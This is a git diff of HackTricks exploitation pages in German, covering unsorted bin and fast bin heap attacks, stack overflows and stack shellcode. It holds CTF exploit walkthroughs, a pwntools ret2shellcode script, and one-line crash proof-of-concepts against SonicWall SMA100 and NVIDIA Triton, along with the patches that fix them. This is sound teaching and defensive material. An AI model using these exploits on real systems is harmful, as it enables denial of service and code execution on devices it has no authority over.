`prev_size` Feld so verändert, dass die Größe statt der Größe von B die von A+B war.\ -Dann wurde C freigegeben und mit A+B konsolidiert (wobei B weiterhin in use war). Ein neuer Chunk der Größe A wurde allokiert und die aus libc geléakten Adressen wurden in B geschrieben, von wo sie ausgelesen wurden. +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ +Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. -## References & Other examples +## Referenzen & Weitere Beispiele - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Ziel ist es, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, sodass man das Flag erhält und PIE nicht aktiviert ist. -- Es ist möglich, Chunks beliebiger Größen zu erzeugen, und es existiert ein Heap-Overflow in der gewünschten Größe. -- Der Angriff beginnt mit der Erstellung von 3 Chunks: chunk0 zum Ausnutzen des Overflows, chunk1, das überlaufen wird, und chunk2, damit der top chunk die vorherigen nicht konsolidiert. -- Dann wird chunk1 freed und chunk0 so überlaufen, dass der `bk`-Pointer von chunk1 auf Folgendes zeigt: `bk = magic - 0x10` -- Danach wird chunk3 mit der gleichen Größe wie chunk1 alloziert, was den unsorted bin attack auslöst und den Wert der globalen Variable verändert, wodurch es möglich wird, das Flag zu erhalten. +- Das Ziel ist, eine globale Variable mit einem Wert größer als 4869 zu überschreiben, damit es möglich ist, die Flag zu bekommen, und PIE ist nicht aktiviert. +- Es ist möglich, Chunks beliebiger Größen zu erzeugen und es gibt einen Heap-Overflow mit der gewünschten Größe. +- Der Angriff beginnt mit dem Erstellen von 3 Chunks: chunk0 zum Ausnutzen des Overflows, chunk1, das überlaufen wird, und chunk2, damit der top chunk nicht die vorherigen konsolidiert. +- Danach wird chunk1 freed und chunk0 so überlaufen, dass das `bk`-Pointer von chunk1 zeigt auf: `bk = magic - 0x10` +- Dann wird chunk3 mit derselben Größe wie chunk1 alloziiert, was den unsorted bin attack auslöst und den Wert der globalen Variable verändert, wodurch es möglich wird, die Flag zu bekommen. - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html) -- Die merge-Funktion ist verwundbar, weil sie, wenn beide übergebenen Indizes gleich sind, auf genau diesen Bereich reallocatet und ihn dann freed, aber einen Pointer auf diese freed-Region zurückgibt, der wiederverwendet werden kann. -- Daher werden **2 Chunks erzeugt**: **chunk0**, das mit sich selbst gemerged wird, und chunk1, um eine Konsolidation mit dem top chunk zu verhindern. Dann wird die **merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem use after free führt. -- Danach wird die **`view`**-Funktion mit Index 2 (dem Index des use-after-free-Chunks) aufgerufen, wodurch eine libc-Adresse geleakt wird. -- Da das Binary Schutzmechanismen hat, die nur mallocs größer als **`global_max_fast`** zulassen (also keine fastbin benutzt werden), wird ein unsorted bin attack benutzt, um die globale Variable `global_max_fast` zu überschreiben. -- Danach ist es möglich, die edit-Funktion mit Index 2 (dem use-after-free-Pointer) aufzurufen und den `bk`-Pointer zu überschreiben, sodass er auf `p64(global_max_fast-0x10)` zeigt. Dann wird ein neuer Chunk erstellt, wodurch die zuvor kompromittierte free-Adresse (0x20) benutzt wird und **der unsorted bin attack** ausgelöst wird, der `global_max_fast` mit einem sehr großen Wert überschreibt und es so erlaubt, Chunks in den fastbins zu erzeugen. -- Nun wird ein **fast bin attack** durchgeführt: -- Zunächst wird festgestellt, dass es möglich ist, mit fast Chunks der Größe 200 an der Position von **`__free_hook`** zu arbeiten: +- Die merge-Funktion ist verwundbar, weil, wenn beide übergebenen Indizes gleich sind, sie ein realloc darauf macht und es dann freed, aber dabei einen Pointer auf diesen freed Bereich zurückgibt, der weiterverwendet werden kann. +- Daher werden **2 Chunks erstellt**: **chunk0**, das mit sich selbst gemerged wird, und chunk1, um eine Konsolidierung mit dem top chunk zu verhindern. Dann wird die **merge-Funktion mit chunk0** zweimal aufgerufen, was zu einem use after free führt. +- Danach wird die **`view`**-Funktion mit Index 2 aufgerufen (das ist der Index des use after free Chunks), welche eine libc Adresse leaked. +- Da das Binary Protections hat, nur mallocs größer als **`global_max_fast`** zu erlauben, sodass kein fastbin verwendet wird, wird ein unsorted bin attack benutzt, um die globale Variable `global_max_fast` zu überschreiben. +- Danach ist es möglich, die edit-Funktion mit Index 2 (dem use after free Pointer) aufzurufen und den `bk`-Pointer zu überschreiben, sodass er auf `p64(global_max_fast-0x10)` zeigt. Dann erzeugt man einen neuen Chunk, der die zuvor kompromittierte free-Adresse (0x20) verwendet und so **den unsorted bin attack** auslöst, der `global_max_fast` mit einem sehr großen Wert überschreibt, wodurch es nun möglich ist, Chunks in fast bins zu erstellen. +- Jetzt wird ein **fast bin attack** durchgeführt: +- Zuerst wird entdeckt, dass es möglich ist, mit fast **Chunks der Größe 200** an der Stelle von **`__free_hook`** zu arbeiten: - 
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -116,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
-- Wenn es gelingt, einen fast chunk der Größe 0x200 an dieser Position zu platzieren, wird es möglich sein, einen Funktionspointer zu überschreiben, der dann ausgeführt wird. -- Dazu wird ein neuer Chunk der Größe `0xfc` erstellt und die merge-Funktion mit diesem Pointer zweimal aufgerufen; so erhält man einen Pointer auf einen freed Chunk der Größe `0xfc*2 = 0x1f8` im fastbin. -- Dann wird die edit-Funktion auf diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses fastbins so zu verändern, dass sie auf das vorherige **`__free_hook`** zeigt. -- Danach wird ein Chunk mit Größe `0x1f8` erstellt, um aus dem fastbin den vorherigen nutzlosen Chunk zurückzuholen, und ein weiterer Chunk der Größe `0x1f8` erstellt, um einen fastbin-Chunk in **`__free_hook`** zu erhalten, welcher mit der Adresse der **`system`**-Funktion überschrieben wird. -- Schließlich wird ein Chunk, der den String `/bin/sh\x00` enthält, freigegeben (delete), wodurch die **`__free_hook`**-Funktion ausgelöst wird, die nun auf system zeigt und `/bin/sh\x00` als Parameter erhält. +- Wenn es gelingt, einen fast Chunk der Größe 0x200 an dieser Stelle zu bekommen, wird es möglich sein, einen Funktionspointer zu überschreiben, der ausgeführt wird. +- Dafür wird ein neuer Chunk der Größe `0xfc` erstellt und die merge-Funktion mit diesem Pointer zweimal aufgerufen; so erhält man einen Pointer auf einen freed Chunk der Größe `0xfc*2 = 0x1f8` im fast bin. +- Dann wird die edit-Funktion auf diesem Chunk aufgerufen, um die **`fd`**-Adresse dieses fast bins zu ändern, sodass sie auf das vorherige **`__free_hook`** zeigt. +- Danach wird ein Chunk mit Größe `0x1f8` alloziiert, um aus dem fast bin den vorherigen nutzlosen Chunk zu bekommen; ein weiterer Chunk der Größe `0x1f8` wird erstellt, um einen fast bin Chunk in **`__free_hook`** zu erhalten, der mit der Adresse der **`system`**-Funktion überschrieben wird. +- Und schließlich wird ein Chunk, das den String `/bin/sh\x00` enthält, per delete freed, wodurch die **`__free_hook`**-Funktion aufgerufen wird, die nun auf system zeigt und `/bin/sh\x00` als Parameter übergeben bekommt. - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html) -- Ein weiteres Beispiel für das Ausnutzen eines 1-Byte-Overflows, um Chunks im unsorted bin zu konsolidieren und ein libc infoleak zu erhalten, gefolgt von einem fast bin attack, um malloc hook mit einer one-gadget-Adresse zu überschreiben +- Ein weiteres Beispiel, wie ein 1B-Overflow genutzt wird, um Chunks im unsorted bin zu konsolidieren und einen libc info leak zu bekommen und anschließend einen fast bin attack durchzuführen, um malloc hook mit einem one gadget zu überschreiben. - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) -- Es können nur Chunks mit Größe größer als `0x100` alloziert werden. -- Überschreiben von `global_max_fast` mittels Unsorted Bin attack (funktioniert 1/16 Mal wegen ASLR, weil 12 Bits modifiziert werden müssen, wir aber 16 Bits verändern). -- Fast Bin attack, um ein globales Array von Chunks zu modifizieren. Das ergibt ein arbiträres read/write-Primitive, mit dem GOT-Einträge geändert werden können, sodass eine Funktion auf `system` zeigt. +- Wir können nur Chunks der Größe größer als `0x100` alloziieren. +- Überschreibe `global_max_fast` mittels eines Unsorted Bin attack (funktioniert 1/16 mal wegen ASLR, weil wir 12 Bits ändern müssen, aber 16 Bits ändern). +- Fast Bin attack, um ein globales Array von Chunks zu modifizieren. Das gibt ein beliebiges read/write-Primitive, was erlaubt, die GOT zu ändern und eine Funktion auf `system` zu setzen. -## Referenzen +## References -- Glibc malloc unsorted-bin integrity checks (Beispiel im Source von 2.33): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c -- `global_max_fast` und verwandte Definitionen in modernem glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c +- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c +- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 6dca47a54..378f7361d 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## Was ist ein Stack Overflow -A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **benachbarten Speicherbereich überschreiben**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. +Ein **stack overflow** ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als dafür vorgesehen sind. Diese überschüssigen Daten werden **benachbarten Speicher überschreiben**, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von Schadcode führen kann. Dieses Problem entsteht häufig durch die Verwendung unsicherer Funktionen, die keine Grenzprüfungen für Eingaben durchführen. -The main problem of this overwrite is that the **gespeicherter Befehlszeiger (EIP/RIP)** and the **gespeicherter Basiszeiger (EBP/RBP)** to return to the previous function are **auf dem Stack gespeichert**. Therefore, an attacker will be able to overwrite those and **den Ausführungsfluss des Programms kontrollieren**. +Das Hauptproblem dieser Überschreibung besteht darin, dass der **saved instruction pointer (EIP/RIP)** und der **saved base pointer (EBP/RBP)**, die zum Zurückkehren in die vorherige Funktion verwendet werden, **auf dem Stack gespeichert** sind. Daher kann ein Angreifer diese überschreiben und den **Ausführungsfluss des Programms kontrollieren**. -The vulnerability usually arises because a function **mehr Bytes in den Stack kopiert, als dafür zugewiesen wurden**, therefore being able to overwrite other parts of the stack. +Die Schwachstelle entsteht normalerweise, weil eine Funktion **mehr Bytes auf den Stack kopiert, als dafür reserviert sind**, und so andere Teile des Stacks überschreiben kann. -Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **Längenargument**, might be used in a vulnerable way if the specified length is greater than the allocated one. +Einige häufig verwundbare Funktionen sind: **`strcpy`, `strcat`, `sprintf`, `gets`**... Auch Funktionen wie **`fgets`**, **`read`** & **`memcpy`**, die ein **Längenargument** nehmen, können auf eine verwundbare Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene. -For example, the following functions could be vulnerable: +Zum Beispiel könnten die folgenden Funktionen verwundbar sein: ```c void vulnerable() { char buffer[128]; @@ -21,15 +21,15 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Finden von Stack Overflows Offsets +### Finden von Stack Overflows offsets -Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr große Eingabe aus `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und ein `Segmentation Fault` zu erwarten, der darauf hinweist, dass **versucht wurde, auf die Adresse `0x41414141` zuzugreifen**. +Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr lange Eingabe aus `A`s zu geben (z. B. `python3 -c 'print("A"*1000)'`) und ein `Segmentation Fault` zu erwarten, das anzeigt, dass die **Adresse `0x41414141` versucht wurde, zuzugreifen**. -Außerdem, sobald du festgestellt hast, dass eine Stack Overflow vulnerability existiert, musst du den Offset finden, bis zu dem es möglich ist, die **return address zu überschreiben**. Dafür wird üblicherweise eine **De Bruijn sequence** verwendet. Für ein Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ ist das eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz vorkommt. +Außerdem, sobald du festgestellt hast, dass eine Stack Overflows vulnerability vorhanden ist, musst du den Offset finden, bis es möglich ist, die **return address zu überschreiben**; dafür wird üblicherweise eine **De Bruijn sequence** verwendet. Diese ist für ein gegebenes Alphabet der Größe _k_ und Teilsequenzen der Länge _n_ eine **zyklische Sequenz, in der jede mögliche Teilsequenz der Länge _n_ genau einmal** als zusammenhängende Teilsequenz vorkommt. -Auf diese Weise, anstatt manuell den Offset zu ermitteln, der benötigt wird, um die EIP zu kontrollieren, kannst du eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes finden, die es letztlich überschrieben haben. +Auf diese Weise, anstatt per Hand herauszufinden, welcher Offset benötigt wird, um die EIP zu kontrollieren, kann man eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes bestimmen, die letztlich diese überschrieben haben. -Es ist möglich, dafür **pwntools** zu verwenden: +Dafür kann man **pwntools** verwenden: ```python from pwn import * @@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Exploiting Stack Overflows -Während eines overflows (vorausgesetzt die Größe des overflows ist groß genug) wirst du in der Lage sein, Werte lokaler Variablen auf dem Stack **overwrite** bis zum gespeicherten **EBP/RBP and EIP/RIP (or even more)** zu überschreiben.\ -Die gebräuchlichste Methode, diesen Typ von Schwachstelle zu missbrauchen, ist das **modifying the return address**, sodass beim Ende der Funktion der **control flow will be redirected wherever the user specified** in diesem Pointer. +Während eines Overflows (vorausgesetzt, die Overflow-Größe ist groß genug) kannst du Werte lokaler Variablen auf dem Stack **überschreiben**, bis du das gespeicherte **EBP/RBP and EIP/RIP (or even more)** erreichst.\ +Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die **Rücksprungadresse zu verändern**, sodass beim Beenden der Funktion der **Kontrollfluss auf die vom Angreifer in diesem Pointer angegebene Adresse** umgeleitet wird. -Allerdings kann in anderen Szenarien schon das **overwriting some variables values in the stack** ausreichen, um eine exploitation durchzuführen (z.B. in einfachen CTF challenges). +In anderen Szenarien kann es jedoch ausreichen, lediglich **einige Variablenwerte auf dem Stack zu überschreiben**, um die Schwachstelle auszunutzen (wie bei einfachen CTF-Challenges). ### Ret2win -In dieser Art von CTF challenges gibt es eine **function** **inside** der binary, die **never called** wird und die **you need to call in order to win**. Für diese Challenges musst du nur den **offset to overwrite the return address** finden und die **find the address of the function** zum Aufrufen bestimmen (gewöhnlich ist [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass beim Rückkehr der vulnerable function die versteckte Funktion aufgerufen wird: +Bei dieser Art von CTF-Challenges gibt es eine **Funktion** **inside** das binary, die **nie aufgerufen wird** und die **du aufrufen musst, um zu gewinnen**. Für diese Challenges musst du nur das **Offset finden, um die Rücksprungadresse zu überschreiben**, und die **Adresse der aufzurufenden Funktion** finden (normalerweise ist [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) deaktiviert), sodass beim Rückkehr der verwundbaren Funktion die versteckte Funktion aufgerufen wird: {{#ref}} @@ -66,7 +66,7 @@ ret2win/ ### Stack Shellcode -In diesem Szenario kann der attacker einen shellcode auf dem stack platzieren und den kontrollierten EIP/RIP missbrauchen, um zum shellcode zu springen und execute arbitrary code auszuführen: +In diesem Szenario kann der Angreifer Shellcode auf dem Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen: {{#ref}} @@ -75,7 +75,7 @@ stack-shellcode/ ### Windows SEH-based exploitation (nSEH/SEH) -Auf 32-bit Windows kann ein overflow die Structured Exception Handler (SEH) chain überschreiben statt der gespeicherten return address. Bei exploitation wird typischerweise der SEH pointer durch einen POP POP RET gadget ersetzt und das 4-byte nSEH Feld für einen short jump verwendet, um zurück in den großen buffer zu pivoten, in dem der shellcode liegt. Ein übliches Muster ist ein short jmp in nSEH, das auf einen 5-byte near jmp landet, der direkt vor nSEH platziert ist, um Hunderte von Bytes zurück zum payload-Start zu springen. +Unter 32-bit Windows kann ein Overflow die Structured Exception Handler (SEH)-Kette anstelle der gespeicherten Rücksprungadresse überschreiben. Die Ausnutzung ersetzt typischerweise den SEH-Zeiger durch ein POP POP RET-Gadget und verwendet das 4-Byte nSEH-Feld für einen kurzen Sprung, um zurück in den großen Puffer zu pivotieren, in dem sich der Shellcode befindet. Ein häufiges Muster ist ein kurzer jmp in nSEH, der auf einen 5-Byte near jmp landet, das direkt vor nSEH platziert ist, um hunderte Bytes zurück zum Anfang des Payloads zu springen. {{#ref}} @@ -84,7 +84,7 @@ windows-seh-overflow.md ### ROP & Ret2... techniques -Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Technik zu umgehen: **No executable stack (NX)**. Außerdem ermöglicht sie das Ausführen mehrerer anderer Techniken (ret2lib, ret2syscall...), die schließlich durch das Missbrauchen vorhandener Instruktionen in der binary arbitrary commands ausführen: +Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Methode zu umgehen: **No executable stack (NX)**. Außerdem ermöglicht sie die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die durch Ausnutzen vorhandener Instruktionen im binary letztlich beliebige Befehle ausführen können: {{#ref}} @@ -93,16 +93,16 @@ Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorh ## Heap Overflows -Ein overflow befindet sich nicht immer auf dem stack; er kann zum Beispiel auch im **heap** auftreten: +Ein Overflow befindet sich nicht immer im Stack; er kann zum Beispiel auch im **heap** auftreten: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Types of protections +## Arten von Schutzmechanismen -Es gibt mehrere protections, die versuchen, die exploitation von vulnerabilities zu verhindern — siehe: +Es gibt mehrere Schutzmechanismen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Sieh sie dir an in: {{#ref}} @@ -111,33 +111,34 @@ Es gibt mehrere protections, die versuchen, die exploitation von vulnerabilities ### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Ein gutes Beispiel dafür, warum **`sscanf` should never be trusted for parsing untrusted input** ist, trat 2025 in SonicWall’s SMA100 SSL-VPN appliance auf. Die verwundbare Routine in `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den endpoint aus jeder URI zu extrahieren, die mit `/__api__/` beginnt: +Eine gute Demonstration, warum **`sscanf` niemals für das Parsen von nicht vertrauenswürdigen Eingaben verwendet werden sollte**, erschien 2025 in SonicWall’s SMA100 SSL-VPN-Appliance. +Die verwundbare Routine in `/usr/src/EasyAccess/bin/httpd` versucht, die Version und den Endpoint aus jeder URI zu extrahieren, die mit `/__api__/` beginnt: ```c char version[3]; char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. Die erste Formatangabe (`%2s`) speichert sicher **zwei** Bytes in `version` (z. B. `"v1"`). -2. Die zweite Formatangabe (`%s`) **hat keinen Längenbegrenzer**, daher wird `sscanf` weiter kopieren **bis zum ersten NUL byte**. -3. Da `endpoint` auf dem **stack** liegt und **0x800 bytes long** ist, führt das Bereitstellen eines Pfads, der länger als 0x800 bytes ist, zur Korruption aller Daten, die nach dem Buffer liegen ‑ einschließlich des **stack canary** und der **saved return address**. +1. Die erste Conversion (`%2s`) schreibt sicher **zwei** Bytes in `version` (z. B. `"v1"`). +2. Die zweite Conversion (`%s`) **hat keine Längenangabe**, daher wird `sscanf` weiter kopieren **bis zum ersten NUL-Byte**. +3. Weil `endpoint` auf dem **stack** liegt und **0x800 Bytes lang** ist, korruptiert ein Pfad, der länger als 0x800 Bytes ist, alles, was nach dem buffer liegt – einschließlich des **stack canary** und der **saved return address**. -Eine einzeilige Proof-of-Concept ist ausreichend, um den Crash **vor der Authentifizierung** auszulösen: +Ein einzeiliges Proof-of-Concept reicht aus, um den Crash **vor der Authentifizierung** auszulösen: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Auch wenn stack canaries den Prozess abbrechen, erlangt ein Angreifer trotzdem ein **Denial-of-Service**-Primitive (und bei zusätzlichen information leaks möglicherweise code-execution). Die Lektion ist einfach: +Obwohl stack canaries den Prozess abbrechen, erhält ein Angreifer trotzdem ein **Denial-of-Service**-Primitive (und, mit zusätzlichen information leaks, möglicherweise code-execution). Die Lehre ist einfach: * Geben Sie immer eine **maximale Feldbreite** an (z. B. `%511s`). * Bevorzugen Sie sicherere Alternativen wie `snprintf`/`strncpy_s`. ### Reales Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA’s Triton Inference Server (≤ v25.06) enthielt mehrere **stack-based overflows**, die über seine HTTP API erreichbar waren. -Das verwundbare Muster erschien wiederholt in `http_server.cc` und `sagemaker_server.cc`: +Der NVIDIA Triton Inference Server (≤ v25.06) enthielt mehrere **stack-based overflows**, die über seine HTTP API erreichbar waren. +Das verwundbare Muster tauchte wiederholt in `http_server.cc` und `sagemaker_server.cc` auf: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -147,8 +148,8 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Buffer-Segmente** zurück, die den aktuellen HTTP-Request-Body bilden. -2. Jedes Segment führt dazu, dass ein **16-byte** `evbuffer_iovec` via `alloca()` auf dem **stack** alloziert wird – **ohne obere Grenze**. +1. `evbuffer_peek` (libevent) gibt die **Anzahl der internen Buffer-Segmente** zurück, die den aktuellen HTTP request body zusammensetzen. +2. Jedes Segment verursacht, dass ein **16-byte** `evbuffer_iovec` mittels `alloca()` auf dem **stack** alloziert wird – **ohne obere Grenze**. 3. Durch Missbrauch von **HTTP _chunked transfer-encoding_** kann ein Client die Anfrage in **hunderttausende von 6-byte chunks** (`"1\r\nA\r\n"`) aufteilen. Dadurch wächst `n` unbegrenzt, bis der stack erschöpft ist. #### Proof-of-Concept (DoS) @@ -175,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den daemon zu **crashen**. +Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon bei einem Standard-Build **crash** zu verursachen. #### Patch & Gegenmaßnahmen -Die Version 25.07 ersetzt die unsichere Stack-Allokation durch einen **heap-gestützten `std::vector`** und behandelt `std::bad_alloc` elegant: +Das Release 25.07 ersetzt die unsichere Stack-Allokation durch einen **heap-backed `std::vector`** und behandelt `std::bad_alloc` ordnungsgemäß: ```c++ std::vector v_vec; try { @@ -189,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed"); struct evbuffer_iovec *v = v_vec.data(); ``` Erkenntnisse: -* Rufe `alloca()` niemals mit attacker-controlled sizes auf. -* Chunked requests können die Form von server-side buffers drastisch verändern. -* Validieren / begrenzen Sie jeden Wert, der aus client input abgeleitet wurde, *bevor* Sie ihn in memory allocations verwenden. +* Rufe niemals `alloca()` mit vom Angreifer kontrollierten Größen auf. +* Chunked requests können die Struktur serverseitiger Puffer drastisch verändern. +* Validiere / begrenze jeden Wert, der aus Client-Eingaben abgeleitet wird *bevor* du ihn in Speicherallokationen verwendest. ## Referenzen * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index a3212b427..0d8f22d22 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -4,11 +4,11 @@ ## Grundlegende Informationen -**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer Shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so ändert, dass er auf die Position dieses Shellcodes zeigt und dessen Ausführung bewirkt. Dies ist eine klassische Methode, um unbefugten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Hier ist eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte. +**Stack shellcode** ist eine Technik, die in der **binary exploitation** verwendet wird, bei der ein Angreifer shellcode auf den Stack eines verwundbaren Programms schreibt und dann den **Instruction Pointer (IP)** oder **Extended Instruction Pointer (EIP)** so verändert, dass er auf die Position dieses shellcodes zeigt, wodurch dieser ausgeführt wird. Dies ist eine klassische Methode, um unautorisierten Zugriff zu erlangen oder beliebige Befehle auf einem Zielsystem auszuführen. Im Folgenden eine Aufschlüsselung des Prozesses, einschließlich eines einfachen C-Beispiels und wie man einen entsprechenden Exploit mit Python und **pwntools** schreiben könnte. ### C-Beispiel: Ein verwundbares Programm -Beginnen wir mit einem einfachen Beispiel für ein verwundbares C-Programm: +Beginnen wir mit einem einfachen Beispiel eines verwundbaren C-Programms: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Dieses Programm ist aufgrund der Verwendung der Funktion `gets()` anfällig für einen buffer overflow. +Dieses Programm ist aufgrund der Verwendung der `gets()`-Funktion anfällig für einen buffer overflow. ### Kompilierung -Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie den folgenden Befehl verwenden: +Um dieses Programm zu kompilieren und verschiedene Schutzmechanismen zu deaktivieren (um eine verwundbare Umgebung zu simulieren), können Sie folgenden Befehl verwenden: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-fno-stack-protector`: Deaktiviert den Stack-Schutz. -- `-z execstack`: Macht den Stack ausführbar, was notwendig ist, um shellcode auszuführen, der auf dem Stack gespeichert ist. -- `-no-pie`: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der unser shellcode liegen wird. -- `-m32`: Kompiliert das Programm als 32-Bit ausführbare Datei; wird oft zur Vereinfachung bei der Exploit-Entwicklung verwendet. +- `-z execstack`: Macht den Stack ausführbar, was nötig ist, um auf dem Stack gespeicherten Shellcode auszuführen. +- `-no-pie`: Deaktiviert Position Independent Executable (PIE), wodurch es einfacher wird, die Speicheradresse vorherzusagen, an der sich unser Shellcode befindet. +- `-m32`: Kompiliert das Programm als 32-Bit-Executable, oft verwendet für Einfachheit in der Exploit-Entwicklung. -### Python Exploit mit Pwntools +### Python-Exploit mit Pwntools -So könnten Sie einen Exploit in Python mit **pwntools** schreiben, um einen **ret2shellcode** attack durchzuführen: +So könntest du ein Exploit in Python mit **pwntools** schreiben, um einen **ret2shellcode**-Angriff durchzuführen: ```python from pwn import * @@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Dieses Skript konstruiert eine Payload, die aus einer **NOP slide**, dem **shellcode**, besteht und überschreibt dann die **EIP** mit der Adresse, die auf die NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird. +Dieses Skript konstruiert ein Payload, das aus einem **NOP slide**, dem **shellcode** besteht und danach die **EIP** mit der Adresse überschreibt, die auf den NOP slide zeigt, wodurch sichergestellt wird, dass der shellcode ausgeführt wird. -Die **NOP slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "einschlägt", unabhängig von der genauen Adresse. Passe das `p32()`-Argument an die Startadresse deines Buffers plus einen Offset an, um in die NOP slide zu landen. +Der **NOP slide** (`asm('nop')`) wird verwendet, um die Wahrscheinlichkeit zu erhöhen, dass die Ausführung in unseren shellcode "rutscht", unabhängig von der exakten Adresse. Passe das `p32()`-Argument an die Startadresse deines Buffers plus einem Offset an, um im NOP slide zu landen. -## Windows x64: NX umgehen mit VirtualAlloc ROP 